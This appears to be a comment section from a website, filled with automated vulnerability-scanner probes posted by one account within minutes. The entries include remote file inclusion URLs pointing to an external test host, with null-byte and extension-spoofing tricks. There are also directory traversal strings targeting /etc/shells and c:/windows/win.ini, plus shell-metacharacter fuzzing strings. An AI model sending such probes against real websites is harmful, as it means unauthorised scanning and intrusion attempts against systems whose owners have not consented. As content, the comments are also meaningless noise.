nEcdyGgx Nov. 3, 2024, 8:55 a.m.

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

Http://bxss.me/t/fit.txt

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

http://bxss.me/t/fit.txt%3F.jpg

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

/etc/shells

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

../../../../../../../../../../../../../../etc/shells

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

c:/windows/win.ini

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

bxss.me

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

)

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

!(()&&!|*|*|

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

^(#$!@#$)(()))******

nEcdyGgx Nov. 3, 2024, 9:24 a.m.

1

nEcdyGgx Nov. 3, 2024, 9:25 a.m.

1

Login Required!

Reset Password
AnonymousUser